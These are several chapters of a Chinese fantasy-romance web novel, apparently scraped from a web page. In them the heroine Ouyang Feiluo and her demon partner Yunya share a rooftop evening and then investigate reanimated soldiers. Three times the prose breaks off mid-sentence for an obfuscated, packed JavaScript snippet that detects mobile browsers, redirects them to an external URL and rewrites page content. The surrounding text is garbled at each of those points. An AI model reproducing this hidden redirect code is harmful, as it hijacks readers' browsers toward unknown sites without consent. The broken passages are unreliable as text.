云崖见她竟然对自己的事感兴趣了,不自觉坐直了道:“虽然我的法力提升了,但记忆依旧模糊,所以如果你想找寻你父母的踪迹,恐怕要失望了。” “这样啊,”欧阳绯珞蹭蹭鼻尖,只觉得尴尬,她问这个其实并不是为了自己的父母,只是想单纯表达对对方的关心,至于云崖到底有没有真的恢复记忆,又恢复了多少,里面有没有她父母的蛛丝马迹,她并不抱太大的期待,为了维护两人今后的友好合作关系,她只能硬着头皮继续找话题:“你说过,我的心口也有你的一枚神明碎片对吗?” 云崖点点头,他略一施法,欧阳绯珞的心口处便出现了一片发着白光的碎片,那碎片极为轻盈,悬在她的心脏内随之搏动起伏。 欧阳绯珞捂住心口:“这是父母留给我的遗物,说是护身符,能护我周全。” 云崖笑了起来:“不错,你父母倒是识货,这碎片用在人身上,确实能在一定程度上驱除妖邪之物,说是护身符也不为过。” “不过......”云崖打了个响指,若隐若现的血瞳发出一道血线连接到欧阳绯珞心口的碎片,只见闪着白色荧光的碎片被血色浸润,逐渐显出金色的光亮。 欧阳绯珞瞪大双眼:“这是怎么回事?” 云崖收回血线:“我刚刚把它激活了,现在它能全权护佑你,今后如遇危险,它能在每次战斗中帮你抵挡一两杀招。” 欧阳绯珞难以置信:“你早晚要收回这碎片的,何必费心思做这个?” 云崖:“不费心思,顺手的事,何况,你少受伤就帮我大忙了,至于这枚碎片,我暂时也收复不了,不如让它发挥出应有的价值。” 欧阳绯珞心乱如麻,一些隐秘的情丝她早该察觉到了,她皱紧眉头磕磕绊绊开口道:“云崖,你为何要对我如此......如此......” 听到这话,云崖难得也有一丝不自在,他轻咳一声:“你我毕竟同生共死,保护你的安全就是在保护我自己。” 这话不无道理,但欧阳绯珞不是傻瓜,她直觉向来准的可怕,加上云崖那漏洞百出的演技,一切都在明晃晃地昭示着此人的“狼子野心“。 欧阳绯珞深深呼吸,压下心头的躁乱,千言万语,一张口话却堵在嗓子眼说不出,只憋出一句多谢。 沉默,又是可怕的静寂,两人之间似乎因为欧阳绯珞那句冠冕堂皇的道谢又蒙了一层看不见的薄纱。 欧阳绯珞受不了这种气氛,她逃也似地离开了云崖的房间,跑回了自己的屋子,关上门的那一刹那,似乎连把刚才的旖旎也阻隔在了心门之外。 云崖呆坐在原地,眼睁睁看着欧阳绯珞消失的背影,龙门客栈年头久远,地面多了一些凹陷,水洼借着晨光倒映出云崖萧条的身影。 “太过了吗?“他烦闷地拨弄长发,擦地也顾不得了,起身仰躺在床上,想补觉也睡不着,翻来覆去地折腾自己。 另一边,欧阳绯珞已经恢复了往日的状态,她将天书摊开,食指与中指并拢点向眉心,口中念道:“天书为契,天音为引,九霄至高,请聆凡音!” 下一刻欧阳绯珞周身风起,衣袂翻飞,她的魂灵伴随一道金光直通天际,瞬间来到了凌霄宝殿。 “君主,”欧阳绯珞行了一礼:“臣有要事商议。” 一九尺男子身着华服,正背对着欧阳绯珞逗鸟,他闻言并未转身,只漫不经心道:“绯珞找我,所为何事啊?” 欧阳绯珞上前一步:“臣不辱使命,已经收复了两只天书妖兽,但在查案的过程中遇到了些不可言说。” “哦?”男子转过身,一双幽深的黑眸凝视着她:“何为不可言说?” 欧阳绯珞直视男子:“据臣掌握的证据,这两个案子背后的始作俑者皆为神裔。” 男子背着手踱步,他捋捋长眉,只是点头,并未做出过多解释。 “绯珞啊,”男子踱到欧阳绯珞面前,宽阔的手轻抚她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161251|180646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“此事我已知晓,若果真如此,恐会牵涉甚广,到时候就不是你一介凡人能承受的了。” 他在威胁我?还是提醒我?在告诉我手不要伸太长? 欧阳绯珞内心了然,只恭敬拱手:“是,臣明白了。” 男子扯出一个笑:“听话,回去吧,你的魂灵也不能离开肉身太久。” “好,”对方毕竟是天帝,是三界权利的中心,欧阳绯珞只能从命,带着满腹疑问离开天宫,回到了自己的肉身。 欧阳绯珞收起天书,此行只是把此事通报给了天帝,至于后续如何,显然这种关乎神族颜面的事,天帝是不会透露给她一个凡人的。 “算了,”欧阳绯珞整理精神,既然天帝不允许她管太多,那她就顺其自然好了,反正天塌了,还有比她更厉害的人顶着,自己只是一介凡人,没必要揽太多责任。 窗外传来鸟鸣,太阳也完全升起来了,朱雀大街像往常一般热闹起来,经历了两场高强度的案件,欧阳绯珞难得想放松一下身心。 “出发!”她穿戴整齐,一个人出了门,独留云崖自己懊恼。 上次和云崖刚来到这里,她就看上了波斯商人贩卖的丝绸,她想买来做一身新衣服,只不过当时情况紧急,她来不及多逛就去查案了,这次,她要把之前亏损的都补回来! “老板,我要两米粉色的绸缎。”欧阳绯珞一眼就看中那匹颜色的丝绸,她最近莫名奇妙喜欢上了粉色,总觉得粉色看起来不会那么尖锐,更柔和一些,也许这是她想要达到的心境吧。 买上丝绸,她又闲逛一阵,不知不觉晃到一家酒肆门口,里面飘来浓稠的酒香,欧阳绯珞本身并不嗜酒,正打算打道回府,手臂被一双芊芊玉手扶住了。 “姑娘,别走啊,”女子一副弱柳扶风的模样,眉宇之间却满是娇媚,她贴近欧阳绯珞,轻启朱唇:“姑娘,尝尝我家的酒吧,保证让你流连忘返,乐不思蜀。” 那女子的软胸紧紧靠着欧阳绯珞的小臂,竟让她生出些不自然,她抽回手臂道:“不好意思姑娘,我不饮酒。”说完一拱手,作势要走。 “哎哎哎,别走哇,”女子一手拉住欧阳绯珞,一手拿着一杯酒,她眼波流转,面色微红,整个人仰倒在欧阳绯珞怀里道:“姑娘,我见你眉宇之间有化不开的惆怅,恰好我这酒名唤解忧,只要喝上一口,所有令你为难的事情都会步入正轨。” 欧阳绯珞搂住这醉到站不稳的女子,她身后的酒肆瞧着破败,除了她空无一人,恐怕是为了生活才出此下策吧。 一个女子,瞧着年纪也不大,卖酒还要靠出卖色相,唉。 “多少钱?”欧阳绯珞低声道:“我买一盅。” “好,好!”女子立刻从她怀里站直,熟练得装酒,那兴奋劲让欧阳绯珞不禁咋舌自己好像被当了冤大头。 拿了酒,欧阳绯珞特意多付了一些钱。 “这些钱不多,但足够你交学费的了。“她抚摸了下女子圆圆的脸蛋惋惜道:“你这个年纪,应该多读一些书才对。“ 女子愣愣地瞧着欧阳绯珞,脸上的娇媚一扫而空,眼中多了一丝稚嫩的泪花。 “谢谢,谢谢姑娘。”女子把银币紧紧攥在手里,想挥手和欧阳绯珞道别,一抬头却见不到人影了。 离开酒肆,欧阳绯珞心情轻松了起来,能帮到那名女子,她很开心,于是又闲逛了一阵,再回到客栈已经是下午了。 11. 第十一章 欧阳绯珞哼着歌,手里捧着粉色绸缎,另拎一盅酒,轻快地跑上楼,“嘭”地一声关上门,回了自己的客房。 她把酒盅放到桌上,随后一扬手将那匹绸缎披在身上,揽镜自赏,她左看右看,越看越欣喜,高兴地围着木桌翩翩起舞,转起了圈。 虽然她现在身着灰色里衣,又套一层棕色外袍,粉色的绸缎披在身上很不搭调,但她只要想象衣服做好后穿在身上的模样就开心得不行。 这种状态是不会被外人看到的,身为守书人,她必须表现地足够沉稳、睿智才能担此大任,才会被众人信服。而现在房间里只有她一人,在这方小天地,她可以短暂卸下包袱,只做单纯取悦于自己的女孩。 她捻起衣摆,转了一圈又一圈,完全沉浸在幸福的气氛里,突然,欧阳绯珞一个不小心撞到了桌角,桌子被冲击倒向对侧,上面的酒盅腾空飞了出去! “啊!我的酒!”欧阳绯珞眼疾手快,足尖一点飞身接住了酒盅,飘然落到了床边,里面的深红色酒水溅在了外袍上。 “呼~”欧阳绯珞拍拍胸口,转身坐到了床上,她打开酒杯盖,凑近闻了闻,一股奇异的芬芳钻入鼻尖,那味道不像父亲常饮的桂花酿,而是一种强烈的,带有微醺气息的果香,让她想起了秋日熟透的葡萄园。 欧阳绯珞提盅浅抿了一口,酸味盈满舌尖,而后又泛起一丝甜,最终是一股涩意缠绕在舌根。鬼使神差地,她又尝了一口,这次让酒液在口中多停留了一会,那酸涩渐渐化开,变为甘醇的果香,顺着喉咙滑下时,胸腹间升起一股暖意。 这是她第一次饮酒,竟然就被这奇妙的味道牢牢抓住了味蕾,于是,一口,两口,三口......等酒盅变空,被肆意丢在一旁时,欧阳绯珞已经打着饱嗝,双颊烧红,她看着床顶,只觉得天旋地转,眼冒金星。 可惜了,此人不仅酒量一般,酒品也有待商榷。 只见她摇摇晃晃地站起来,踉踉跄跄地来到门前,拉开门栓,脚底踩棉花一样跌跌撞撞地溜了出去。 云崖好不容易补了一觉,却又被口中的酒香撩醒了,这让他本就烦躁的心情雪上加霜。 得把共感先切掉,他撩动乌发,起身开门,却见欧阳绯珞红着脸,拐着八字步在那不明所以。 见云崖出现了,欧阳绯珞黑瞳瞬间亮了起来:“云......云崖,“她朝云崖招手:“快过来,我有个秘......秘密要告诉你。“她兴奋又艰难地挪动了几步,然而一个没站稳,啪嗒一屁股摔到了地上。 “哦!“似乎这一摔吓到她了,欧阳绯珞整个人呆坐在原地,跟丢了魂儿一样。 云崖好整以暇地看着这醉地找不着北的大小姐出尽洋相,随后慢悠悠地来到她身边,蹲下端详她的面色,眼前这人收起一贯的凛冽作风,一双水盈盈的幽深杏眸毫无防备地看着云崖,她满面绯红,连白皙的脖颈都冒了粉,红润小巧的嘴唇一呼吸还残留着葡萄酒的香气。 本想趁机耍弄她一番,可看着看着,云崖周身温度抖升,脸上竟也悄悄爬上了红晕,什么切断共感早就抛到九霄云外了。 真要命。 云崖扭头不敢看她,心如擂鼓,正僵持着束手无策之际,欧阳绯珞突然贴近云崖面颊。 “你......你做什么?”云崖一惊,刚想后撤,一只手被欧阳绯珞紧紧攥住。 “你!”欧阳绯珞凑地极近,看着云崖金瞳里的自己,食指指着他的鼻尖一字一句道:“陪我上屋顶,看星星。” 说完就不容置疑地拉着云崖走,云崖一脸懵:“这时候看星星?可是天还没黑啊。” 醉了的欧阳绯珞可不管天黑没黑,她只知道这个星星她今天必须看成。 云崖本想把她搬回卧室休息,可眼下欧阳绯珞神经异常兴奋,恐怕就算回去也不会乖乖听话睡觉,云崖没辙,只好舍命陪君子,由着她胡闹。 两人上了三楼屋顶,此时离太阳落山还有两盏茶的功夫,欧阳绯珞乖巧地抱腿坐在一边,望着远方的炊烟发呆。 “星星不见得有,落日倒能提前观赏。” 云崖盘腿坐在欧阳绯珞身旁,上半身后仰,双手拄在身体两侧:“现在消停了?” 欧阳绯珞半眯着眼,头脑昏昏沉沉的,她望向朱雀大街林林总总的住宅,繁华的街道依旧门口罗雀,人们笑着,闹着,叫卖着,也孤独着,这座巨大的不夜城机械般没日没夜的运作着,不知什么是疲惫,却盛满复杂的人心。 可是,那又如何呢?生活不就是如此吗? 晚风拂过欧阳绯珞的脸,她舒服地喟叹一声,整个人松松散散的,抬起头看着天边火红的晚霞,安静的像一只白猫。 微风吹散了酒气,她甩甩头,伸个懒腰笑道:“云崖,你知道吗,我今天度过了非常幸福的一天。” 云崖并没有太多讶异,他也不问缘由,只平静附和道:“是么,那祝贺你了。” 不知是醉意犹在还是夕阳的缘故,欧阳绯珞的脸仍泛着红,她继续道:“我已经很久没有过这种惬意的时刻了。” 云崖望向欧阳绯珞,无需过多言语,从对方的语气里他就参透了几分无奈与落寞,他不打算深究,却也能大致猜出一二。 在他看来,以两人现在的关系,对欧阳绯珞这种人来说,仅仅是把心门敞开一条缝就已经做出极大的努力了,她若不主动提,别人也休想窥探,自己不能太过冒进,否则这个心尖好不容易冒芽的女孩会再次枯萎。 云崖轻轻拍了拍欧阳绯珞的背,一句话搁心里揣摩了半天,一向“巧言令色“的他最后还是把话埋在了心里。 欧阳绯珞不需要安慰,她只是单纯表述自己当下的心境,对于过去,她显然早已释怀,每每想起,只当是一阵清风刮过麦田,虽然会掀起小小的波浪,却也仅此而已,风过不留痕。 夕阳渐渐西下,两人并肩观赏着落日,舒服地似乎都忘了初衷是看星星来着。 “云崖,”欧阳绯珞突然开口:“我要告诉你一个秘密。” 云崖失笑:“刚刚不就说了嘛。” 欧阳绯珞瞥了他一眼:“你就不能尽量表现得更诧异一点嘛。” “哦~”云崖一个字拐了十八个弯:“这位大小姐,您到底有什么秘密啊?我真的好想知道啊。” 欧阳绯珞噗嗤一声被逗笑了,她把天书拿出来,翻开内页,找到穷奇河边俯瞰图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161252|180646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 欧阳绯珞:“虽然你也是从天书逃离的,但我不确定你还有没有这方面的记忆。” 云崖摆摆手:“不瞒你说,我现在的记忆干净地堪比赤子。” 欧阳绯珞无奈摇头,她指着那张图道:“其实这本天书内有里世界,叫九幽朱墟,我习惯称它为九幽,在妖兽还没有逃跑时,它们都生活在那个地方。” 云崖:“所以,收复的妖兽在天书表面上是几页纸,实际上是被封印在了九幽?” 欧阳绯珞:“说是这么说,但其实封印算不上,九幽大得很,环境也是依照妖兽的习性创建,相当于为它们提供了第二个赖以生存的世界。” 谈话间,夕阳落入地平线,天空从浅蓝转为灰白,暖黄色的灯火连成一片,照亮了宽阔的朱雀大街。 清风袭来,欧阳绯珞把碎发拂到耳后:“我的使命除了收复散落人间的妖兽,还有一个,那就是平衡表里世界,保证这两个世界始终处在平行线上,不会相交。” 云崖:“若是相交了呢?” 欧阳绯珞:“结果你也看到了,如今人间动荡,妖兽案四起,无论出于什么目的,真相又是什么,人类和妖兽都不该共处一地,若是如此,只会滋生无限的贪婪和欲望。” 云崖点点头:“我同意你的说法。“ 他向欧阳绯珞伸出一只手笑眯眯道:“前路漫漫,今后也请欧阳大小姐多多提携照顾了。” 欧阳绯珞一把挥开他的手:“少来,整天没个正经的。” 云崖呵呵一笑收回手,也不恼,他最近似乎打开了和欧阳绯珞相处的开关,和这种小正经相处,稍微多逗弄一下,对方就会急眼脸红,他很喜欢看到欧阳绯珞局促的模样,仿佛透过冰冷的外壳窥见一丝独属于他的生动与鲜活。 “说真的,云崖,虽然你莫名其妙地与我结契让我很不开心,”欧阳绯珞低声道:“但若没有你,以我的能力,这一路怕不会这么顺利,或许早就被蜥蜴妖暗害了。” “谢谢你,云崖。” 轻柔的声音携风拂过云崖,调皮地搔了下他的耳廓,此人又敏感地红了耳朵。 “咳咳,没事儿,”云崖轻咳一声,佯装镇定:“没有你的天书感应,天地茫茫,我又去哪里找寻神名碎片呢?” “说不准现在还陷在某个漫洼野地挖野菜呢,哈哈。” “啊哈哈哈哈,”欧阳绯珞又被逗笑了,她一笑杏眸就弯成月牙,整个人都透出温婉又活力的气质,让人移不开眼。 像干涸已久的土地终于接收了雨水,云崖的心也被滋润了。 啊,这个女人也太耀眼了吧。 他呆呆地看着眼前人,再一次迷失了。 两盏茶过去了,初秋的季节,天空像被蒙了一层黑布,星星点点的微光出现在幕布上,映照着整个世界。 “快看!”欧阳绯珞眼睛亮了起来:“星星出来了!” 她也学云崖躺在屋顶:“真美啊,你看,那是织女星吗? “是,确实很美,”云崖无心看星,此刻,他的眼里心里只有一个人。 长夜漫漫,万籁俱寂,两人天涯共此时,享受着短暂却又珍惜的时刻。 12. 第十二章 两个月前,边关村落,深夜。 村里的农户劳作了一整天,全都房门紧闭,每当这个时候连鸡都睡了,鲜少有人在外闲逛。 “叩叩叩!” 突然,一阵急促的敲门声响起,男人累了一天,骨头都快散架了,他根本没精力理会,翻了个身继续睡,心想兴许是哪个讨饭的乞丐找上门了,只要不搭理他,他自会离开。 然而出乎意料的是,这家伙敲地越来越起劲儿,甚至演变成砰砰的砸门声。 “哎,你去看看,”身旁的女人把丈夫推醒:“都敲半天了,亏你还睡得着。” 男子闭着眼,不耐烦道:“管他呢,大半夜的能有什么事儿,官府征税也不是现在吧。”说完就又呼呼打起了鼾。 “哎,你别睡啊。”女人又拍拍丈夫的脸,可惜男人睡得太死,女人怎么叫都不醒,无奈之下,只能亲自起来看看情况。 “来了,谁啊?” 女人简单收拾了下,光着脚朝门口走去。 随着她越来越靠近,砸门声逐渐停了下来,取而代之一种类似猛兽的低吼。 这声音太过异常,女人僵持在原地,直觉告诉她绝不能开门,然而莫名的猎奇心又趋使她想一探究竟。 她屏住呼吸,踮着脚悄声来到门前,一只眼睛透过门缝查看,然而除了茫茫暗夜,什么都看不到。 是风吗?犹疑之际,一只闪着幽蓝火光的散大瞳仁探过来,隔着门和女人对视个正着。 “啊啊啊——” 尖叫打破寂夜,惊飞群鸟,女人双腿发软,连滚带爬地跑回丈夫身边,蒙上被子瑟瑟发抖。 “怎么了?“男人被惊醒,顺势扯掉女人身上的被子:“你看见什么了?” “妖......妖怪啊!”女人抱紧自己,哆哆嗦嗦地抖落出几个字。 “妖怪?哪来的妖怪,你看走眼了吧。”男人不置可否,倒头就睡。 “你个没卵子的玩意儿!”女人气急,给了男人一巴掌:“我亲眼看见的还有假?” “哎呦,你干嘛!”男人被女人拽着耳朵起身,一脚被踹到了炕下。 女人:“还不快去看看!” 男人满腹委屈却不敢反抗,只得哼哧哼哧地爬起来,不耐烦地来到门前,气势凛然地把门一敞。 然而眼前除了漆黑的夜,什么都没有,他又出了门,左右上下望了个遍,连个猫的影子都不见。 “我就说你看走眼了吧,”男人站在门外喊道:“连个活物都没有,哪来的妖怪?” “怎么可能?”女人将信将疑,她不敢出去,只藏在里屋向外张望:“我亲眼看见的。” 男人失笑道:“你那是睡糊涂了。”说完关上门,回房间睡下。 此事就这么不了了之了,然而几天后,村里其他农户也传出类似的说法,几个目击者一碰面,顿时闹得沸沸扬扬起来。 清晨,龙门客栈。 “哎,听说了吗?边关有个村闹鬼啦。” “哎呀听说啦,这事不闹得挺大吗?据说那鬼专挑半夜下手,谁家做了亏心事就敲谁家门。” “不仅如此,听说啊,有几户人家还被索了命呐!” “真假啊,快说给我听听......." 欧阳绯珞和云崖在楼下吃早饭,碰巧听到了对面那桌的谈话,云崖对欧阳绯珞一使眼神,随后两人拿着一壶酒坐到了对面。 “二位兄台有什么新鲜事,可否讲予我等消磨?”云崖揽着那青年的肩,欧阳绯珞把酒给两人满上,轻轻放在了桌上。 欧阳绯珞“西域上好的葡萄酒,诸位请。” 那俩青年面面相觑,其中偏瘦的一位哈哈一笑:“小姐不必多礼,只是传闻而已,你们若想听,我便讲予你们,但我也是从别人那里听来的,几分真假就不好说了。” 欧阳绯珞点点头,示意无碍。 那偏瘦的青年清清喉咙,正襟危坐道:“据说两个月前,边关一个偏僻村落开始闹鬼了,每当深夜就会有蓝眼睛的妖怪敲门,你不开门他就一直敲,开了却又找不到,两个月来此案频频发生,村民如今人心惶惶,有不少人都搬走了。” 云崖食指敲着桌面:“还闹出人命了?” 另一个胖青年道:“唉,别提了,有的人家胆子小又没能力离开,时间一长就得了失心疯,吊死在自家房梁上了,真是造孽啊。” 欧阳绯珞:“报官了吗?” 瘦青年气愤道:“报啦,可那荒山野岭的,人家官府不爱管,口头上应付过去就完事了,至今不见有人去呢。” 云崖嗯了一声:“那村子叫什么?” 还未等青年开口,突然,欧阳绯珞胸口发出金色亮光。 “是天书!” 欧阳绯珞将天书从怀里掏出来,翻开闪光的那一页,只见空白书页上出现一行字:烬余关。 云崖“烬余关?” 听闻这三个字,那胖青年激动道:“对对!就是烬余关!” 欧阳绯珞和云崖对视:“看来此案又和妖兽有关。” 二人和两位青年道了谢,风卷残云般收拾好随身物品,骑马奔向了目的地。 “烬余关,烬余关,烧烬旧关隘剩余的一切,于焦土之上重建的村落。”云崖边骑马边道:“这名字还挺有意象的。” 欧阳绯珞和他并排骑,闻言只应了一声,没再答话,明显又紧绷了起来。 得得马蹄声不止,云崖望着对方阴沉的脸,叹了口气:“我说啊,你又莫名其妙地把责任揽自己身上了吧。” 欧阳绯珞目视前方,舔了舔嘴唇:“这本就是守书一族该做的,我既然继承了这个位置,就该负起责任。” 云崖哼一声,不想跟这小古板掰扯,扬鞭纵马跑向前面打头。 半个时辰后,两人一路颠簸,终于到达烬余关村口。 二人默契翻身下马,牵着各自马匹进入村落,村子狭小又萧条,路边却挤满了各类老旧的摊位,一看就是被人遗弃了。 前面传来女人的哭声,两人加快脚步,来到人群中才发现地上趴着一个老妪,她怀里抱着一件成年男子的衣服,满面泪痕,嘴里发出一声声呜咽。 欧阳绯珞问起周围人:“这是怎么回事?” 身边一男子叹息道:“这婆婆想儿子想疯了,竟然说那妖怪是他儿子。” 云崖:“麻烦您说的仔细些。” 旁边的大娘开腔了:“你们是外地来的吧,最近大胤和北溟打仗了你们晓得伐?这阿婆的儿子战死沙场了,阿婆整日以泪洗面,前两天竟然说那蓝眼睛妖怪里有她儿子呢,哎,你说吓不吓人哩,亏我们好心,打算带她看看大夫,可这婆婆死倔,非要和我们对着干,还念叨什么自己没病,他儿子回来了之类的,啧啧啧,真是没得办法啦!” 周围人也开始劝,让那老妪别再瞎想,跟他们去治病,可那老妪滚地浑身是土,就是不动弹分毫,执拗地抱着儿子的衣服,别人说什么都当耳边风。 这时,云崖站了出来,他道:“各位乡亲们,肃静,麻烦听我讲几句。“他拍拍胸脯:“我是一名游医,这阿婆到底有没有患病,待会经我诊治便可,这位是镇魂师,我们俩这次来就是为解决这起悬案,可现在人多口杂,这样,你们出一个领头人跟我们说说详细情况,我们也好确定接下来的行动。” 人群闻言一阵骚动,不一会儿一名年级稍长的中年男子走了出来,初秋季节,天气早已转凉,可此人仍着一身短衣短裤,露出古铜色的皮肤。 他肌肉紧实,身量瞧着也不矮,对着众人一顿指挥,人群便散了,只留那老妪躺在地上。 中年男子道:“我叫李渡,是村里的村长,想问什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161253|180646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么找我便是。” 欧阳绯珞点头示意,她蹲下身子用自己的手覆住那老妪的手道:“阿婆,我相信你说的,我和云崖这次就是来帮你的,你可以把看到的都告诉我们吗?” 老妪浑浊的眸子清亮了几分,她抬起头望着欧阳绯珞:“你们,真的信我?” 欧阳绯珞颔首道:“是,我们都相信你,你也可以相信我们,地上脏,先起来吧。” “哎,好。“ 欧阳绯珞把老妪轻轻扶了起来,给她拍了拍身上的尘土。兴许是感受到了久违的关切,老妪眼眶红了起来,她把儿子的衣服抱在怀里低声道:“你们,进来坐吧,我会把自己看到的都告诉你们。” 三人随这位老人进了家门,虽然婆婆年纪大了,刚刚又在地上打滚,沾了一身泥,可家中摆设却清雅又干净,一看就经常打扫。 几人随她进了屋,落了座,老人又给他们一一斟茶,还上了点心,招待地极为周到,忙活了一通,她也坐了下来,斟酌措辞后开口道:“我没有骗你们,我确实看到儿子回来了。” 欧阳绯珞抿了一口茶,闻言道:“婆婆别急,您展开细说一下。” 老人颔首道:“大概五天前,我家的门半夜也被敲响了,我早就做好了打算,于是那晚我拿着烧火棍来到门前,我没敢开门,只透过门缝看了看,这一看,就发现满身是血的儿子站在门外,我当时立刻把门打开,可是门刚打开,儿子就凭空化为一抔灰,被风吹散了。” 老人声泪俱下,已经说不下去了。 李渡适时开口:“阿婆,你儿子身上有什么不一样的地方吗?” 欧阳绯珞拍了拍老人的背,老人调整情绪回道:“有,有的,他身上......穿的衣服不太一样。” 云崖抓住了重点:“怎么不一样?” 老人却无论如何也回忆不起来了。 欧阳绯珞:“云崖,你能使用读记忆的法术吗?” 云崖笑道:“当然,婆婆,你只需要坐着不动就好。” 言罢,云崖咬破食指,法力凝聚在指尖,金色的灵光包裹住老人,云崖口中念诀,指间翻飞,下一瞬,空中呈现出一道影像。 只见画面中,那男子确实如传闻般双眸闪着幽幽蓝光,身着银白铠甲,胸口还印着一枚雪花。 李渡眼尖,瞬间发现了其中的异常,他一拍桌子跳起来,指着画面中的男子道:“那铠甲不是大胤的!” 云崖的沉下脸:“是敌国北溟的吧。” 李渡:“没错!” 紧接着,影像一阵错乱,云崖收回法术,金色的灵流消散不见了。 老人难以置信:“什么?北溟的铠甲?我儿子怎么会穿敌国铠甲?这里面一定有什么误会!” 欧阳绯珞安抚老人:“阿婆您先冷静,案子刚开始调查,没有人断言您儿子叛变,您稍安勿躁,好吗?” 老人情绪激动,胸腔极速起伏,看样子随时能晕过去。 这时,天书又亮了起来,欧阳绯珞翻开书页,只见空白页上又出现四个字:北境战场。 云崖了然于心,他眸光微凛:“天书能感应到妖兽的气息,看来这活尸确实是从北境战场回来的。” 李渡闻言道:“近半年,大胤和北溟交战地点就在北境。” 云崖和欧阳绯珞对视一眼,二人默契颔首。云崖拍拍李渡的肩膀:“看来我们要去一探究竟了,兄台,多谢了。” 李渡憨厚一笑:“我也没帮上二位什么忙,北境和北溟接壤,气候寒冷,二位若要前去,衣物可得穿厚些。” 欧阳绯珞甩甩身上的包袱:“别担心,我们早备好了。” 李渡这才放下心来,他把两人送出了门,目送着朝前路进发。 “一切都靠你们了。”李渡默默自语,随后把老人安置好,锁上门,也离开了。 13. 第十三章 北境战场 千里荒原充斥着浓烈的血腥气,兵戈与碎骨埋于灰土之下,踩上去会发出空洞的咔嚓声,仿佛大地本身就是一具腐朽的骸骨,万千坟墓立于荒野,如同一个巨大的乱葬岗。 寒风裹挟细碎的冰碴,如利刃刮过皮肤,成群的兀鹫聚集在无人认领的尸体旁,享受着噬血的盛宴。 马革裹尸,冷冽的兵刃贯穿脆弱的血肉钉在原地,血液早已干涸,远远望去,犹如罪恶的黑色曼陀罗遍布周身。 欧阳绯珞和云崖骑马前往战场中心,腐臭味钻进衣领、发根,势必要让两个活人“同流合污”。 欧阳绯珞本就对气味敏感,她本想忍一忍,但身体先不争气地发出抗议,她的胃开始翻江倒海了。 “欧阳,接着。”云崖丢给她一个药瓶,欧阳绯珞定睛一看,上面写着“幽息丸”三个字。 云崖:“快吃吧,你看你脸都绿了。” “多谢。“欧阳绯珞勉强道过谢,随后服用了一粒药丸,药效很快,不一会儿她就闻不到那股恶心的味道了。 云崖瞧着她,见她面色好转才放下心来,微风拂过,他的思绪却随风飘飞,渐渐的落在了欧阳绯珞身后。 望着欧阳绯珞前行的背影,云崖想,有时候,他觉得欧阳绯珞的性格和自己大相径庭,有时候两人却又能高度重合在一起,他们都有股子莫名的倔强,明明已经受不了了,明明已经到极限了,却还要强撑着忍受苦难的洗礼,即便这么做除了病态的心理得到慰藉,什么实质的好处都得不到。 可是,那又如何呢? 执着又怎样,病态又如何,这世界包罗万象,容错率本就高的离谱,欧阳绯珞是个成年人,有自己的处事态度和生存之道,她一定不会也不愿依照别人的指点过活,若是如此,人生又有什么意趣呢? 想到这里,云崖释然地笑了,不知从什么时候开始,对这个人,他好像只剩下包容与理解,虽然两人相处不多,但他似乎能探到欧阳绯珞的内心,对她熟悉地仿佛上辈子就认识一样。 “驾!”云崖收回思绪,长叹一口气,紧接着一夹马背,朝欧阳绯珞追了上去。 渐渐的,前方地平线,出现几道虚影。 “吁,“欧阳绯珞紧急勒马:“云崖,当心,前方有异。” 战场噬血的气场本就令云崖一半的妖族血统振奋,他血瞳骤现,眼中闪着精光,吹了声口哨::“来了。” 只见那虚影越来越近,靠近了才发现是战死兵士的活尸,就像影像中呈现的一般,尸体身穿北溟铠甲,脸上一双眼睛闪着幽蓝火光。 寻着活尸行动的轨迹反向前行,两人在尽头看到一具具尸体从简陋的坟墓里钻出来,像听到共同的指令一般朝着烬余村的方向前行。 欧阳绯珞:“从一开始我就猜想是未入轮回的亡魂趋使所致,我来试试。” 说着翻身下马,将青虹剑刺入地面,口中念诀:“魄归九泉,魂渡冥川,尘归尘,土归土,不归者,剑下诛!" 紧接着剑身出现符文,符文蔓延到地面,形成黑色雪花纹路,侵向活尸,然而,意料中的禁锢并未出现,符文像找不到目标的一般骤然停在了活尸周围。 云崖皱眉道:“怎么了?” 欧阳绯珞收回长剑冷哼一声:“这些活尸竟然无魂。” 云崖:“既无魂,那便不是亡魂趋使。” 他一招定住其中一只,两指并拢点向活尸眉间,驱使大量金色灵力灌入,左眼血瞳流转,直窥向活尸深处。 渐渐的,活尸双眸的幽蓝火焰熄灭了,整具尸体像枯槁的老树,云崖收回法力之际,他也顺势倒在了地上。 欧阳绯珞:“探到什么了吗?” 云崖弹了对方一个脑瓜崩,不着边际地来了句:“那是自然喽!” 欧阳绯珞懵了一瞬:“你弹我干嘛?” 随后捉住云崖一只手弹了好几下。 